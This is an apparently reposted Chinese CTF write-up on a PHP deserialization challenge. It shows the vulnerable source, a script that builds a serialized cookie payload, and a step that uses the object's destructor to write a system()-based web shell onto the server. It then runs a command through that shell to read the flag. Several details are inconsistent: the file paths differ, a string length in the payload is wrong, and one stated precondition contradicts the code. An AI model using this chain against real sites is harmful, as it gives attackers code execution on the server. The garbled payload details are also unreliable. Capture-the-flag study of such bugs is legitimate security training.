CTF web题总结--unserizable

来源:互联网 发布:js操作input file 编辑:程序博客网 时间:2024/06/05 17:34

php的反序列化漏洞
代码:

<?phpclass Person {    private static $defaults = [        'name'     => null,        'gender'   => null,        'address'  => null,        'birth'    => null,        'married'  => null,        'flag'     => false,    ];    private $data;    public function __construct(array $data = []) {        $this->data = array_replace(self::$defaults, $data);        // Easy for you :)        if (strlen($this->getName() . $this->getGender() . $this->getAddress()) !== 24) {            $this->setFlag(false);            return;        }        if (!preg_match('/^[\w]{4}_you_$/', $this->getName()) ||            substr($this->getName(), 0, 4) !== 'Wish') {            $this->setFlag(false);            return;        }        if ($this->getGender() !== chr(65)) {            $this->setFlag(false);            return;        }        $this->setAddress('_happy_holiday'); // uhu?        if (!$this->getBirth()) {            $this->setFlag(false);            return;        } elseif ($this->getBirth() && !is_numeric($this->getBirth())) {            $this->setBirth($this->getBirth());        }        if ($this->getBirth() < 1485532800) {  // New Year            $this->setFlag(false);            return;        }    }    public function toArray() {        return $this->data;    }    public function getName() {        return $this->data['name'];    }    public function setName($name) {        $this->data['name'] = $name;    }    public function getGender() {        return $this->data['gender'];    }    public function setGender($gender) {        $this->data['gender'] = $gender;    }    public function getAddress() {        return $this->data['address'];    }    public function setAddress($address) {        $this->data['address'] = $address;    }    public function getBirth() {        return $this->data['birth'];    }    public function setBirth($timestamp) {        $this->data['birth'] = is_numeric($timestamp)            ? (int) $timestamp            : strtotime($timestamp);    }    public function getMarried() {        return $this->data['married'];    }    public function setMarried($married) {        $this->data['married'] = $married;    }    public function getFlag() {        return $this->data['flag'];    }    public function setFlag($flag) {        $this->data['flag'] = $flag;    }}class Storing {    private $filename;    private $persons = [];    public function setPerson(Person $person) {        $this->persons[] = $person;    }    public function __construct($personFile) {        $this->filename = $personFile;    }    public function __destruct() {        $this->save($this->filename);    }    public function save($filename) {        $json = [];        foreach ($this->persons as $person)            if ($person->getFlag())                $json[] = $person->toArray();        file_put_contents($filename, json_encode($json));    }}if (isset($_COOKIE['newyear'])) {    $data = unserialize($_COOKIE['newyear']);} else {?><!DOCTYPE HTML><html><head> <meta charset="utf-8">    <title>Ohhhhhhh!</title>    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">    <style type="text/css">        .center {           position: absolute;           left: 50%;           margin-right: -50%;           transform: translate(-50%, -0%)        }        .below {          position: absolute;          left: 50%;          top: 50%;          transform: translate(-50%, -50%);        }    </style>    <link rel="stylesheet" type="text/css" href="/assets/css/flipclock.css"></head><body style="background-image: url(/assets/img/9.jpg);background-size:cover;">  <div class="center below">            <div id="clock"></div>  </div></body><script type="text/javascript" src="/assets/js/jquery-3.1.1.min.js"></script><script type="text/javascript" src="/assets/js/flipclock.min.js"></script><script type="text/javascript">var end  = new Date(Date.UTC(2017, 0, 27, 16, 0, 0));var now  = new Date();var diff  = end.getTime() - now.getTime();var clock = $('#clock').FlipClock(diff/1000, {    clockFace: 'DailyCounter',    countdown: true});</script></html><?php } ?>

上述代码中,用户控制的值可能会被传递到php的反序列化函数,在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发送。
为了成功地利用上述漏洞,必须满足三个条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。
2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。
3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。
题解:
根据给出的类构造payload生成脚本

$obj = new Storing('/var/www/shell.php');$payload = '<?php echo system($_POST[\'poc\']); ?>';$obj->setPerson(new Person(['name'=> 'Wish_you_','gender'=> 'A','address' => '_happy_holiday','birth'=> 1485532801,'married' => $payload,'flag' => true]));file_put_contents('./built_payload_poc', serialize($obj));

打开built_payload_poc就可以发现payload

O:7:"Storing":2:{s:17:"^@Storing^@filename";s:18:"/var/www/html/1-web02/shell.php";s:16:"^@Storing^@persons";a:1:{i:0;O:6:"Person":1:{s:12:"^@Person^@data";a:6:{s:4:"name";s:9:"Wish_you_";s:6:"gender";s:1:"A";s:7:"address";s:14:"_happy_holiday";s:5:"birth";i:1485532801;s:7:"married";s:36:"<?php echo system($_POST['poc']); ?>";s:4:"flag";b:1;}}}}

将payload编码后放入cookies中,然后就可以向目标写入shell.php
然后通过一句话木马拿到flag.txt中的flag

poc=cat%20/flag.php
原创粉丝点击